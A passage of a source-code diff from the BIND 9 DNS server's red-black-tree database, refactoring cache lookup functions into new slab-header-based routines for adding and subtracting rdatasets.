+	closest = isc_mem_get(mctx, sizeof(*closest));
+	*closest = (dns_proof_t){
+		.neg = r1.base,
+		.negsig = r2.base,
+		.name = DNS_NAME_INITEMPTY,
+		.type = neg.type,
+	};
+	dns_name_dup(&name, mctx, &closest->name);
+	newheader->closest = closest;
 
+cleanup:
+	dns_rdataset_disassociate(&neg);
+	dns_rdataset_disassociate(&negsig);
 	return (result);
 }
 
-static isc_result_t
-find_coveringnsec(rbtdb_search_t *search, dns_dbnode_t **nodep,
-		  isc_stdtime_t now, dns_name_t *foundname,
-		  dns_rdataset_t *rdataset, dns_rdataset_t *sigrdataset) {
-	dns_rbtnode_t *node;
-	rdatasetheader_t *header, *header_next, *header_prev;
-	rdatasetheader_t *found, *foundsig;
-	bool empty_node;
+isc_result_t
+dns__rbtdb_addrdataset(dns_db_t *db, dns_dbnode_t *node,
+		       dns_dbversion_t *version, isc_stdtime_t now,
+		       dns_rdataset_t *rdataset, unsigned int options,
+		       dns_rdataset_t *addedrdataset DNS__DB_FLARG) {
+	dns_rbtdb_t *rbtdb = (dns_rbtdb_t *)db;
+	dns_rbtnode_t *rbtnode = (dns_rbtnode_t *)node;
+	dns_rbtdb_version_t *rbtversion = version;
+	isc_region_t region;
+	dns_slabheader_t *newheader = NULL;
+	dns_slabheader_t *header = NULL;
 	isc_result_t result;
-	dns_fixedname_t fname, forigin;
-	dns_name_t *name, *origin;
-	rbtdb_rdatatype_t matchtype, sigmatchtype;
-	nodelock_t *lock;
-	isc_rwlocktype_t locktype;
-	dns_rbtnodechain_t chain;
-
-	chain = search->chain;
+	bool delegating;
+	bool newnsec;
+	isc_rwlocktype_t tlocktype = isc_rwlocktype_none;
+	isc_rwlocktype_t nlocktype = isc_rwlocktype_none;
+	bool cache_is_overmem = false;
+	dns_fixedname_t fixed;
+	dns_name_t *name = NULL;
 
-	matchtype = RBTDB_RDATATYPE_VALUE(dns_rdatatype_nsec, 0);
-	sigmatchtype = RBTDB_RDATATYPE_VALUE(dns_rdatatype_rrsig,
-					     dns_rdatatype_nsec);
+	REQUIRE(VALID_RBTDB(rbtdb));
+	INSIST(rbtversion == NULL || rbtversion->rbtdb == rbtdb);
 
-	do {
-		node = NULL;
-		name = dns_fixedname_initname(&fname);
-		origin = dns_fixedname_initname(&forigin);
-		result = dns_rbtnodechain_current(&chain, name, origin, &node);
-		if (result != ISC_R_SUCCESS) {
-			return (result);
-		}
-		locktype = isc_rwlocktype_read;
-		lock = &(search->rbtdb->node_locks[node->locknum].lock);
-		NODE_LOCK(lock, locktype);
-		found = NULL;
-		foundsig = NULL;
-		empty_node = true;
-		header_prev = NULL;
-		for (header = node->data; header != NULL; header = header_next)
+	if (!IS_CACHE(rbtdb)) {
+		/*
+		 * SOA records are only allowed at top of zone.
+		 */
+		if (rdataset->type == dns_rdatatype_soa &&
+		    node != rbtdb->origin_node)
 		{
-			header_next = header->next;
-			if (check_stale_header(node, header, &locktype, lock,
-					       search, &header_prev)) {
-				continue;
-			}
-			if (NONEXISTENT(header) ||
-			    RBTDB_RDATATYPE_BASE(header->type) == 0) {
-				header_prev = header;
-				continue;
-			}
-			/*
-			 * Don't stop on provable noqname / RRSIG.
-			 */
-			if (header->noqname == NULL &&
-			    RBTDB_RDATATYPE_BASE(header->type) !=
-				    dns_rdatatype_rrsig)
-			{
-				empty_node = false;
-			}
-			if (header->type == matchtype) {
-				found = header;
-			} else if (header->type == sigmatchtype) {
-				foundsig = header;
-			}
-			header_prev = header;
-		}
-		if (found != NULL) {
-			result = dns_name_concatenate(name, origin, foundname,
-						      NULL);
-			if (result != ISC_R_SUCCESS) {
-				goto unlock_node;
-			}
-			bind_rdataset(search->rbtdb, node, found, now, locktype,
-				      rdataset);
-			if (foundsig != NULL) {
-				bind_rdataset(search->rbtdb, node, foundsig,
-					      now, locktype, sigrdataset);
-			}
-			new_reference(search->rbtdb, node, locktype);
-			*nodep = node;
-			result = DNS_R_COVERINGNSEC;
-		} else if (!empty_node) {
-			result = ISC_R_NOTFOUND;
-		} else {
-			result = dns_rbtnodechain_prev(&chain, NULL, NULL);
+			return (DNS_R_NOTZONETOP);
 		}
-	unlock_node:
-		NODE_UNLOCK(lock, locktype);
-	} while (empty_node && result == ISC_R_SUCCESS);
-	return (result);
-}
-
-static isc_result_t
-cache_find(dns_db_t *db, const dns_name_t *name, dns_dbversion_t *version,
-	   dns_rdatatype_t type, unsigned int options, isc_stdtime_t now,
-	   dns_dbnode_t **nodep, dns_name_t *foundname,
-	   dns_rdataset_t *rdataset, dns_rdataset_t *sigrdataset) {
-	dns_rbtnode_t *node = NULL;
-	isc_result_t result;
-	rbtdb_search_t search;
-	bool cname_ok = true;
-	bool empty_node;
-	nodelock_t *lock;
-	isc_rwlocktype_t locktype;
-	rdatasetheader_t *header, *header_prev, *header_next;
-	rdatasetheader_t *found, *nsheader;
-	rdatasetheader_t *foundsig, *nssig, *cnamesig;
-	rdatasetheader_t *update, *updatesig;
-	rdatasetheader_t *nsecheader, *nsecsig;
-	rbtdb_rdatatype_t sigtype, negtype;
-
-	UNUSED(version);
-
-	search.rbtdb = (dns_rbtdb_t *)db;
-
-	REQUIRE(VALID_RBTDB(search.rbtdb));
-	REQUIRE(version == NULL);
-
-	if (now == 0) {
-		isc_stdtime_get(&now);
-	}
-
-	search.rbtversion = NULL;
-	search.serial = 1;
-	search.options = options;
-	search.copy_name = false;
-	search.need_cleanup = false;
-	search.wild = false;
-	search.zonecut = NULL;
-	dns_fixedname_init(&search.zonecut_name);
-	dns_rbtnodechain_init(&search.chain);
-	search.now = now;
-	update = NULL;
-	updatesig = NULL;
-
-	RWLOCK(&search.rbtdb->tree_lock, isc_rwlocktype_read);
+		TREE_RDLOCK(&rbtdb->tree_lock, &tlocktype);
+		REQUIRE(((rbtnode->nsec == DNS_RBT_NSEC_NSEC3 &&
+			  (rdataset->type == dns_rdatatype_nsec3 ||
+			   rdataset->covers == dns_rdatatype_nsec3)) ||
+			 (rbtnode->nsec != DNS_RBT_NSEC_NSEC3 &&
+			  rdataset->type != dns_rdatatype_nsec3 &&
+			  rdataset->covers != dns_rdatatype_nsec3)));
+		TREE_UNLOCK(&rbtdb->tree_lock, &tlocktype);
+	}
 
-	/*
-	 * Search down from the root of the tree.  If, while going down, we
-	 * encounter a callback node, cache_zonecut_callback() will search the
-	 * rdatasets at the zone cut for a DNAME rdataset.
-	 */
-	result = dns_rbt_findnode(search.rbtdb->tree, name, foundname, &node,
-				  &search.chain, DNS_RBTFIND_EMPTYDATA,
-				  cache_zonecut_callback, &search);
-
-	if (result == DNS_R_PARTIALMATCH) {
-		if ((search.options & DNS_DBFIND_COVERINGNSEC) != 0) {
-			result = find_coveringnsec(&search, nodep, now,
-						   foundname, rdataset,
-						   sigrdataset);
-			if (result == DNS_R_COVERINGNSEC) {
-				goto tree_exit;
-			}
-		}
-		if (search.zonecut != NULL) {
-			result = setup_delegation(&search, nodep, foundname,
-						  rdataset, sigrdataset);
-			goto tree_exit;
-		} else {
-		find_ns:
-			result = find_deepest_zonecut(&search, node, nodep,
-						      foundname, rdataset,
-						      sigrdataset);
-			goto tree_exit;
+	if (rbtversion == NULL) {
+		if (now == 0) {
+			now = isc_stdtime_now();
 		}
-	} else if (result != ISC_R_SUCCESS) {
-		goto tree_exit;
+	} else {
+		now = 0;
 	}
 
-	/*
-	 * Certain DNSSEC types are not subject to CNAME matching
-	 * (RFC4035, section 2.5 and RFC3007).
-	 *
-	 * We don't check for RRSIG, because we don't store RRSIG records
-	 * directly.
-	 */
-	if (type == dns_rdatatype_key || type == dns_rdatatype_nsec) {
-		cname_ok = false;
+	result = dns_rdataslab_fromrdataset(rdataset, rbtdb->common.mctx,
+					    &region, sizeof(dns_slabheader_t));
+	if (result != ISC_R_SUCCESS) {
+		return (result);
 	}
 
-	/*
-	 * We now go looking for rdata...
-	 */
-
-	lock = &(search.rbtdb->node_locks[node->locknum].lock);
-	locktype = isc_rwlocktype_read;
-	NODE_LOCK(lock, locktype);
-
-	found = NULL;
-	foundsig = NULL;
-	sigtype = RBTDB_RDATATYPE_VALUE(dns_rdatatype_rrsig, type);
-	negtype = RBTDB_RDATATYPE_VALUE(0, type);
-	nsheader = NULL;
-	nsecheader = NULL;
-	nssig = NULL;
-	nsecsig = NULL;
-	cnamesig = NULL;
-	empty_node = true;
-	header_prev = NULL;
-	for (header = node->data; header != NULL; header = header_next) {
-		header_next = header->next;
-		if (check_stale_header(node, header, &locktype, lock, &search,
-				       &header_prev)) {
-			/* Do nothing. */
-		} else if (EXISTS(header) && !ANCIENT(header)) {
-			/*
-			 * We now know that there is at least one active
-			 * non-stale rdataset at this node.
-			 */
-			empty_node = false;
+	name = dns_fixedname_initname(&fixed);
+	dns__rbtdb_nodefullname(db, node, name);
+	dns_rdataset_getownercase(rdataset, name);
 
-			/*
-			 * If we found a type we were looking for, remember
-			 * it.
-			 */
-			if (header->type == type ||
-			    (type == dns_rdatatype_any &&
-			     RBTDB_RDATATYPE_BASE(header->type) != 0) ||
-			    (cname_ok && header->type == dns_rdatatype_cname))
-			{
-				/*
-				 * We've found the answer.
-				 */
-				found = header;
-				if (header->type == dns_rdatatype_cname &&
-				    cname_ok && cnamesig != NULL) {
-					/*
-					 * If we've already got the
-					 * CNAME RRSIG, use it.
-					 */
-					foundsig = cnamesig;
-				}
-			} else if (header->type == sigtype) {
-				/*
-				 * We've found the RRSIG rdataset for our
-				 * target type.  Remember it.
-				 */
-				foundsig = header;
-			} else if (header->type == RBTDB_RDATATYPE_NCACHEANY ||
-				   header->type == negtype) {
-				/*
-				 * We've found a negative cache entry.
-				 */
-				found = header;
-			} else if (header->type == dns_rdatatype_ns) {
-				/*
-				 * Remember a NS rdataset even if we're
-				 * not specifically looking for it, because
-				 * we might need it later.
-				 */
-				nsheader = header;
-			} else if (header->type == RBTDB_RDATATYPE_SIGNS) {
-				/*
-				 * If we need the NS rdataset, we'll also
-				 * need its signature.
-				 */
-				nssig = header;
-			} else if (header->type == dns_rdatatype_nsec) {
-				nsecheader = header;
-			} else if (header->type == RBTDB_RDATATYPE_SIGNSEC) {
-				nsecsig = header;
-			} else if (cname_ok &&
-				   header->type == RBTDB_RDATATYPE_SIGCNAME) {
-				/*
-				 * If we get a CNAME match, we'll also need
-				 * its signature.
-				 */
-				cnamesig = header;
-			}
-			header_prev = header;
-		} else {
-			header_prev = header;
-		}
-	}
+	newheader = (dns_slabheader_t *)region.base;
+	*newheader = (dns_slabheader_t){
+		.type = DNS_TYPEPAIR_VALUE(rdataset->type, rdataset->covers),
+		.trust = rdataset->trust,
+		.last_used = now,
+		.node = rbtnode,
+	};
 
-	if (empty_node) {
-		/*
-		 * We have an exact match for the name, but there are no
-		 * extant rdatasets.  That means that this node doesn't
-		 * meaningfully exist, and that we really have a partial match.
-		 */
-		NODE_UNLOCK(lock, locktype);
-		goto find_ns;
+	dns_slabheader_reset(newheader, db, node);
+	dns__rbtdb_setttl(newheader, rdataset->ttl + now);
+	if (rdataset->ttl == 0U) {
+		DNS_SLABHEADER_SETATTR(newheader, DNS_SLABHEADERATTR_ZEROTTL);
 	}
+	atomic_init(&newheader->count,
+		    atomic_fetch_add_relaxed(&init_count, 1));
+	if (rbtversion != NULL) {
+		newheader->serial = rbtversion->serial;
+		now = 0;
 
-	/*
-	 * If we didn't find what we were looking for...
-	 */
-	if (found == NULL ||
-	    (DNS_TRUST_ADDITIONAL(found->trust) &&
-	     ((options & DNS_DBFIND_ADDITIONALOK) == 0)) ||
-	    (found->trust == dns_trust_glue &&
-	     ((options & DNS_DBFIND_GLUEOK) == 0)) ||
-	    (DNS_TRUST_PENDING(found->trust) &&
-	     ((options & DNS_DBFIND_PENDINGOK) == 0)))
-	{
-		/*
-		 * Return covering NODATA NSEC record.
-		 */
-		if ((search.options & DNS_DBFIND_COVERINGNSEC) != 0 &&
-		    nsecheader != NULL) {
-			if (nodep != NULL) {
-				new_reference(search.rbtdb, node, locktype);
-				*nodep = node;
-			}
-			bind_rdataset(search.rbtdb, node, nsecheader,
-				      search.now, locktype, rdataset);
-			if (need_headerupdate(nsecheader, search.now)) {
-				update = nsecheader;
-			}
-			if (nsecsig != NULL) {
-				bind_rdataset(search.rbtdb, node, nsecsig,
-					      search.now, locktype,
-					      sigrdataset);
-				if (need_headerupdate(nsecsig, search.now)) {
-					updatesig = nsecsig;
-				}
-			}
-			result = DNS_R_COVERINGNSEC;
-			goto node_exit;
+		if ((rdataset->attributes & DNS_RDATASETATTR_RESIGN) != 0) {
+			DNS_SLABHEADER_SETATTR(newheader,
+					       DNS_SLABHEADERATTR_RESIGN);
+			newheader->resign =
+				(isc_stdtime_t)(dns_time64_from32(
+							rdataset->resign) >>
+						1);
+			newheader->resign_lsb = rdataset->resign & 0x1;
 		}
-
-		/*
-		 * If there is an NS rdataset at this node, then this is the
-		 * deepest zone cut.
-		 */
-		if (nsheader != NULL) {
-			if (nodep != NULL) {
-				new_reference(search.rbtdb, node, locktype);
-				*nodep = node;
-			}
-			bind_rdataset(search.rbtdb, node, nsheader, search.now,
-				      locktype, rdataset);
-			if (need_headerupdate(nsheader, search.now)) {
-				update = nsheader;
+	} else {
+		newheader->serial = 1;
+		if ((rdataset->attributes & DNS_RDATASETATTR_PREFETCH) != 0) {
+			DNS_SLABHEADER_SETATTR(newheader,
+					       DNS_SLABHEADERATTR_PREFETCH);
+		}
+		if ((rdataset->attributes & DNS_RDATASETATTR_NEGATIVE) != 0) {
+			DNS_SLABHEADER_SETATTR(newheader,
+					       DNS_SLABHEADERATTR_NEGATIVE);
+		}
+		if ((rdataset->attributes & DNS_RDATASETATTR_NXDOMAIN) != 0) {
+			DNS_SLABHEADER_SETATTR(newheader,
+					       DNS_SLABHEADERATTR_NXDOMAIN);
+		}
+		if ((rdataset->attributes & DNS_RDATASETATTR_OPTOUT) != 0) {
+			DNS_SLABHEADER_SETATTR(newheader,
+					       DNS_SLABHEADERATTR_OPTOUT);
+		}
+		if ((rdataset->attributes & DNS_RDATASETATTR_NOQNAME) != 0) {
+			result = addnoqname(rbtdb->common.mctx, newheader,
+					    rdataset);
+			if (result != ISC_R_SUCCESS) {
+				dns_slabheader_destroy(&newheader);
+				return (result);
 			}
-			if (nssig != NULL) {
-				bind_rdataset(search.rbtdb, node, nssig,
-					      search.now, locktype,
-					      sigrdataset);
-				if (need_headerupdate(nssig, search.now)) {
-					updatesig = nssig;
-				}
+		}
+		if ((rdataset->attributes & DNS_RDATASETATTR_CLOSEST) != 0) {
+			result = addclosest(rbtdb->common.mctx, newheader,
+					    rdataset);
+			if (result != ISC_R_SUCCESS) {
+				dns_slabheader_destroy(&newheader);
+				return (result);
 			}
-			result = DNS_R_DELEGATION;
-			goto node_exit;
 		}
-
-		/*
-		 * Go find the deepest zone cut.
-		 */
-		NODE_UNLOCK(lock, locktype);
-		goto find_ns;
 	}
 
 	/*
-	 * We found what we were looking for, or we found a CNAME.
+	 * If we're adding a delegation type (e.g. NS or DNAME for a zone,
+	 * just DNAME for the cache), then we need to set the callback bit
+	 * on the node.
 	 */
-
-	if (nodep != NULL) {
-		new_reference(search.rbtdb, node, locktype);
-		*nodep = node;
-	}
-
-	if (NEGATIVE(found)) {
-		/*
-		 * We found a negative cache entry.
-		 */
-		if (NXDOMAIN(found)) {
-			result = DNS_R_NCACHENXDOMAIN;
-		} else {
-			result = DNS_R_NCACHENXRRSET;
-		}
-	} else if (type != found->type && type != dns_rdatatype_any &&
-		   found->type == dns_rdatatype_cname)
-	{
-		/*
-		 * We weren't doing an ANY query and we found a CNAME instead
-		 * of the type we were looking for, so we need to indicate
-		 * that result to the caller.
-		 */
-		result = DNS_R_CNAME;
+	if (delegating_type(rbtdb, rbtnode, rdataset->type)) {
+		delegating = true;
 	} else {
-		/*
-		 * An ordinary successful query!
-		 */
-		result = ISC_R_SUCCESS;
+		delegating = false;
 	}
 
-	if (type != dns_rdatatype_any || result == DNS_R_NCACHENXDOMAIN ||
-	    result == DNS_R_NCACHENXRRSET)
+	/*
+	 * Add to the auxiliary NSEC tree if we're adding an NSEC record.
+	 */
+	TREE_RDLOCK(&rbtdb->tree_lock, &tlocktype);
+	if (rbtnode->nsec != DNS_RBT_NSEC_HAS_NSEC &&
+	    rdataset->type == dns_rdatatype_nsec)
 	{
-		bind_rdataset(search.rbtdb, node, found, search.now, locktype,
-			      rdataset);
-		if (need_headerupdate(found, search.now)) {
-			update = found;
-		}
-		if (!NEGATIVE(found) && foundsig != NULL) {
-			bind_rdataset(search.rbtdb, node, foundsig, search.now,
-				      locktype, sigrdataset);
-			if (need_headerupdate(foundsig, search.now)) {
-				updatesig = foundsig;
-			}
-		}
-	}
-
-node_exit:
-	if ((update != NULL || updatesig != NULL) &&
-	    locktype != isc_rwlocktype_write) {
-		NODE_UNLOCK(lock, locktype);
-		NODE_LOCK(lock, isc_rwlocktype_write);
-		locktype = isc_rwlocktype_write;
-		POST(locktype);
-	}
-	if (update != NULL && need_headerupdate(update, search.now)) {
-		update_header(search.rbtdb, update, search.now);
-	}
-	if (updatesig != NULL && need_headerupdate(updatesig, search.now)) {
-		update_header(search.rbtdb, updatesig, search.now);
+		newnsec = true;
+	} else {
+		newnsec = false;
 	}
-
-	NODE_UNLOCK(lock, locktype);
-
-tree_exit:
-	RWUNLOCK(&search.rbtdb->tree_lock, isc_rwlocktype_read);
+	TREE_UNLOCK(&rbtdb->tree_lock, &tlocktype);
 
 	/*
-	 * If we found a zonecut but aren't going to use it, we have to
-	 * let go of it.
+	 * If we're adding a delegation type, adding to the auxiliary NSEC
+	 * tree, or the DB is a cache in an overmem state, hold an
+	 * exclusive lock on the tree.  In the latter case the lock does
+	 * not necessarily have to be acquired but it will help purge
+	 * ancient entries more effectively.
 	 */
-	if (search.need_cleanup) {
-		node = search.zonecut;
-		INSIST(node != NULL);
-		lock = &(search.rbtdb->node_locks[node->locknum].lock);
-
-		NODE_LOCK(lock, isc_rwlocktype_read);
-		decrement_reference(search.rbtdb, node, 0, isc_rwlocktype_read,
-				    isc_rwlocktype_none, false);
-		NODE_UNLOCK(lock, isc_rwlocktype_read);
-	}
-
-	dns_rbtnodechain_reset(&search.chain);
-
-	update_cachestats(search.rbtdb, result);
-	return (result);
-}
-
-static isc_result_t
-cache_findzonecut(dns_db_t *db, const dns_name_t *name, unsigned int options,
-		  isc_stdtime_t now, dns_dbnode_t **nodep,
-		  dns_name_t *foundname, dns_name_t *dcname,
-		  dns_rdataset_t *rdataset, dns_rdataset_t *sigrdataset) {
-	dns_rbtnode_t *node = NULL;
-	nodelock_t *lock;
-	isc_result_t result;
-	rbtdb_search_t search;
-	rdatasetheader_t *header, *header_prev, *header_next;
-	rdatasetheader_t *found, *foundsig;
-	unsigned int rbtoptions = DNS_RBTFIND_EMPTYDATA;
-	isc_rwlocktype_t locktype;
-	bool dcnull = (dcname == NULL);
-
-	search.rbtdb = (dns_rbtdb_t *)db;
-
-	REQUIRE(VALID_RBTDB(search.rbtdb));
-
-	if (now == 0) {
-		isc_stdtime_get(&now);
+	if (IS_CACHE(rbtdb) && isc_mem_isovermem(rbtdb->common.mctx)) {
+		cache_is_overmem = true;
 	}
-
-	search.rbtversion = NULL;
-	search.serial = 1;
-	search.options = options;
-	search.copy_name = false;
-	search.need_cleanup = false;
-	search.wild = false;
-	search.zonecut = NULL;
-	dns_fixedname_init(&search.zonecut_name);
-	dns_rbtnodechain_init(&search.chain);
-	search.now = now;
-
-	if (dcnull) {
-		dcname = foundname;
+	if (delegating || newnsec || cache_is_overmem) {
+		TREE_WRLOCK(&rbtdb->tree_lock, &tlocktype);
 	}
 
-	if ((options & DNS_DBFIND_NOEXACT) != 0) {
-		rbtoptions |= DNS_RBTFIND_NOEXACT;
+	if (cache_is_overmem) {
+		dns__cachedb_overmem(rbtdb, newheader, rbtnode->locknum,
+				     &tlocktype DNS__DB_FLARG_PASS);
 	}
 
-	RWLOCK(&search.rbtdb->tree_lock, isc_rwlocktype_read);
+	NODE_WRLOCK(&rbtdb->node_locks[rbtnode->locknum].lock, &nlocktype);
 
-	/*
-	 * Search down from the root of the tree.
-	 */
-	result = dns_rbt_findnode(search.rbtdb->tree, name, dcname, &node,
-				  &search.chain, rbtoptions, NULL, &search);
-
-	if (result == DNS_R_PARTIALMATCH) {
-		result = find_deepest_zonecut(&search, node, nodep, foundname,
-					      rdataset, sigrdataset);
-		goto tree_exit;
-	} else if (result != ISC_R_SUCCESS) {
-		goto tree_exit;
-	} else if (!dcnull) {
-		dns_name_copy(dcname, foundname);
+	if (rbtdb->rrsetstats != NULL) {
+		DNS_SLABHEADER_SETATTR(newheader, DNS_SLABHEADERATTR_STATCOUNT);
+		update_rrsetstats(rbtdb->rrsetstats, newheader->type,
+				  atomic_load_acquire(&newheader->attributes),
+				  true);
 	}
-	/*
-	 * We now go looking for an NS rdataset at the node.
-	 */
 
-	lock = &(search.rbtdb->node_locks[node->locknum].lock);
-	locktype = isc_rwlocktype_read;
-	NODE_LOCK(lock, locktype);
+	if (IS_CACHE(rbtdb)) {
+		if (tlocktype == isc_rwlocktype_write) {
+			cleanup_dead_nodes(rbtdb,
+					   rbtnode->locknum DNS__DB_FLARG_PASS);
+		}
 
-	found = NULL;
-	foundsig = NULL;
-	header_prev = NULL;
-	for (header = node->data; header != NULL; header = header_next) {
-		header_next = header->next;
-		if (check_stale_header(node, header, &locktype, lock, &search,
-				       &header_prev)) {
-			/* Do nothing. */
-		} else if (EXISTS(header)) {
-			/*
-			 * If we found a type we were looking for, remember
-			 * it.
-			 */
-			if (header->type == dns_rdatatype_ns) {
-				/*
-				 * Remember a NS rdataset even if we're
-				 * not specifically looking for it, because
-				 * we might need it later.
-				 */
-				found = header;
-			} else if (header->type == RBTDB_RDATATYPE_SIGNS) {
-				/*
-				 * If we need the NS rdataset, we'll also
-				 * need its signature.
-				 */
-				foundsig = header;
-			}
-			header_prev = header;
-		} else {
-			header_prev = header;
+		header = isc_heap_element(rbtdb->heaps[rbtnode->locknum], 1);
+		if (header != NULL && header->ttl + STALE_TTL(header, rbtdb) <
+					      now - RBTDB_VIRTUAL)
+		{
+			dns__cachedb_expireheader(
+				header, &tlocktype,
+				dns_expire_ttl DNS__DB_FLARG_PASS);
 		}
-	}
 
-	if (found == NULL) {
 		/*
-		 * No NS records here.
+		 * If we've been holding a write lock on the tree just for
+		 * cleaning, we can release it now.  However, we still need the
+		 * node lock.
 		 */
-		NODE_UNLOCK(lock, locktype);
-		result = find_deepest_zonecut(&search, node, nodep, foundname,
-					      rdataset, sigrdataset);
-		goto tree_exit;
-	}
-
-	if (nodep != NULL) {
-		new_reference(search.rbtdb, node, locktype);
-		*nodep = node;
+		if (tlocktype == isc_rwlocktype_write && !delegating &&
+		    !newnsec)
+		{
+			TREE_UNLOCK(&rbtdb->tree_lock, &tlocktype);
+		}
 	}
 
-	bind_rdataset(search.rbtdb, node, found, search.now, locktype,
-		      rdataset);
-	if (foundsig != NULL) {
-		bind_rdataset(search.rbtdb, node, foundsig, search.now,
-			      locktype, sigrdataset);
-	}
+	result = ISC_R_SUCCESS;
+	if (newnsec) {
+		dns_rbtnode_t *nsecnode = NULL;
 
-	if (need_headerupdate(found, search.now) ||
-	    (foundsig != NULL && need_headerupdate(foundsig, search.now)))
-	{
-		if (locktype != isc_rwlocktype_write) {
-			NODE_UNLOCK(lock, locktype);
-			NODE_LOCK(lock, isc_rwlocktype_write);
-			locktype = isc_rwlocktype_write;
-			POST(locktype);
-		}
-		if (need_headerupdate(found, search.now)) {
-			update_header(search.rbtdb, found, search.now);
-		}
-		if (foundsig != NULL && need_headerupdate(foundsig, search.now))
-		{
-			update_header(search.rbtdb, foundsig, search.now);
+		result = dns_rbt_addnode(rbtdb->nsec, name, &nsecnode);
+		if (result == ISC_R_SUCCESS) {
+			nsecnode->nsec = DNS_RBT_NSEC_NSEC;
+			rbtnode->nsec = DNS_RBT_NSEC_HAS_NSEC;
+		} else if (result == ISC_R_EXISTS) {
+			rbtnode->nsec = DNS_RBT_NSEC_HAS_NSEC;
+			result = ISC_R_SUCCESS;
 		}
 	}
 
-	NODE_UNLOCK(lock, locktype);
-
-tree_exit:
-	RWUNLOCK(&search.rbtdb->tree_lock, isc_rwlocktype_read);
+	if (result == ISC_R_SUCCESS) {
+		result = dns__rbtdb_add(rbtdb, rbtnode, name, rbtversion,
+					newheader, options, false,
+					addedrdataset, now DNS__DB_FLARG_PASS);
+	}
+	if (result == ISC_R_SUCCESS && delegating) {
+		rbtnode->find_callback = 1;
+	}
 
-	INSIST(!search.need_cleanup);
+	NODE_UNLOCK(&rbtdb->node_locks[rbtnode->locknum].lock, &nlocktype);
 
-	dns_rbtnodechain_reset(&search.chain);
+	if (tlocktype != isc_rwlocktype_none) {
+		TREE_UNLOCK(&rbtdb->tree_lock, &tlocktype);
+	}
+	INSIST(tlocktype == isc_rwlocktype_none);
 
-	if (result == DNS_R_DELEGATION) {
-		result = ISC_R_SUCCESS;
+	/*
+	 * Update the zone's secure status.  If version is non-NULL
+	 * this is deferred until dns__rbtdb_closeversion() is called.
+	 */
+	if (result == ISC_R_SUCCESS && version == NULL && !IS_CACHE(rbtdb)) {
+		dns__rbtdb_setsecure(db, version, rbtdb->origin_node);
 	}
 
 	return (result);
 }
 
-static void
-attachnode(dns_db_t *db, dns_dbnode_t *source, dns_dbnode_t **targetp) {
+isc_result_t
+dns__rbtdb_subtractrdataset(dns_db_t *db, dns_dbnode_t *node,
+			    dns_dbversion_t *version, dns_rdataset_t *rdataset,
+			    unsigned int options,
+			    dns_rdataset_t *newrdataset DNS__DB_FLARG) {
 	dns_rbtdb_t *rbtdb = (dns_rbtdb_t *)db;
-	dns_rbtnode_t *node = (dns_rbtnode_t *)source;
+	dns_rbtnode_t *rbtnode = (dns_rbtnode_t *)node;
+	dns_rbtdb_version_t *rbtversion = version;
+	dns_fixedname_t fname;
+	dns_name_t *nodename = dns_fixedname_initname(&fname);
+	dns_slabheader_t *topheader = NULL, *topheader_prev = NULL;
+	dns_slabheader_t *header = NULL, *newheader = NULL;
+	unsigned char *subresult = NULL;
+	isc_region_t region;
+	isc_result_t result;
+	rbtdb_changed_t *changed = NULL;
+	isc_rwlocktype_t tlocktype = isc_rwlocktype_none;
+	isc_rwlocktype_t nlocktype = isc_rwlocktype_none;
 
 	REQUIRE(VALID_RBTDB(rbtdb));
-	REQUIRE(targetp != NULL && *targetp == NULL);
+	REQUIRE(rbtversion != NULL && rbtversion->rbtdb == rbtdb);
 
-	isc_refcount_increment(&node->references);
+	if (!IS_CACHE(rbtdb)) {
+		TREE_RDLOCK(&rbtdb->tree_lock, &tlocktype);
+		REQUIRE(((rbtnode->nsec == DNS_RBT_NSEC_NSEC3 &&
+			  (rdataset->type == dns_rdatatype_nsec3 ||
+			   rdataset->covers == dns_rdatatype_nsec3)) ||
+			 (rbtnode->nsec != DNS_RBT_NSEC_NSEC3 &&
+			  rdataset->type != dns_rdatatype_nsec3 &&
+			  rdataset->covers != dns_rdatatype_nsec3)));
+		TREE_UNLOCK(&rbtdb->tree_lock, &tlocktype);
+	}
 
-	*targetp = source;
-}
+	dns__rbtdb_nodefullname(db, node, nodename);
 
-static void
-detachnode(dns_db_t *db, dns_dbnode_t **targetp) {
-	dns_rbtdb_t *rbtdb = (dns_rbtdb_t *)db;
-	dns_rbtnode_t *node;
-	bool want_free = false;
-	bool inactive = false;
-	rbtdb_nodelock_t *nodelock;
+	result = dns_rdataslab_fromrdataset(rdataset, rbtdb->common.mctx,
+					    &region, sizeof(dns_slabheader_t));
+	if (result != ISC_R_SUCCESS) {
+		return (result);
+	}
 
-	REQUIRE(VALID_RBTDB(rbtdb));
-	REQUIRE(targetp != NULL && *targetp != NULL);
+	newheader = (dns_slabheader_t *)region.base;
+	dns_slabheader_reset(newheader, db, node);
+	dns__rbtdb_setttl(newheader, rdataset->ttl);
+	newheader->type = DNS_TYPEPAIR_VALUE(rdataset->type, rdataset->covers);
+	atomic_init(&newheader->attributes, 0);
+	newheader->serial = rbtversion->serial;
+	newheader->trust = 0;
+	newheader->noqname = NULL;
+	newheader->closest = NULL;
+	atomic_init(&newheader->count,
+		    atomic_fetch_add_relaxed(&init_count, 1));
+	newheader->last_used = 0;
+	newheader->node = rbtnode;
+	newheader->db = (dns_db_t *)rbtdb;
+	if ((rdataset->attributes & DNS_RDATASETATTR_RESIGN) != 0) {
+		DNS_SLABHEADER_SETATTR(newheader, DNS_SLABHEADERATTR_RESIGN);
+		newheader->resign =
+			(isc_stdtime_t)(dns_time64_from32(rdataset->resign) >>
+					1);
+		newheader->resign_lsb = rdataset->resign & 0x1;
+	} else {
+		newheader->resign = 0;
+		newheader->resign_lsb = 0;
+	}
 
-	node = (dns_rbtnode_t *)(*targetp);
-	nodelock = &rbtdb->node_locks[node->locknum];
+	NODE_WRLOCK(&rbtdb->node_locks[rbtnode->locknum].lock, &nlocktype);
 
-	NODE_LOCK(&nodelock->lock, isc_rwlocktype_read);
+	changed = add_changed(newheader, rbtversion DNS__DB_FLARG_PASS);
+	if (changed == NULL) {
+		dns_slabheader_destroy(&newheader);
+		NODE_UNLOCK(&rbtdb->node_locks[rbtnode->locknum].lock,
+			    &nlocktype);
+		return (ISC_R_NOMEMORY);
+	}
 
-	if (decrement_reference(rbtdb, node, 0, isc_rwlocktype_read,
-				isc_rwlocktype_none, false))
+	for (topheader = rbtnode->data; topheader != NULL;
+	     topheader = topheader->next)
 	{
-		if (isc_refcount_current(&nodelock->references) == 0 &&
-		    nodelock->exiting) {
-			inactive = true;
+		if (topheader->type == newheader->type) {
+			break;
 		}
+		topheader_prev = topheader;
 	}
-
-	NODE_UNLOCK(&nodelock->lock, isc_rwlocktype_read);
-
-	*targetp = NULL;
-
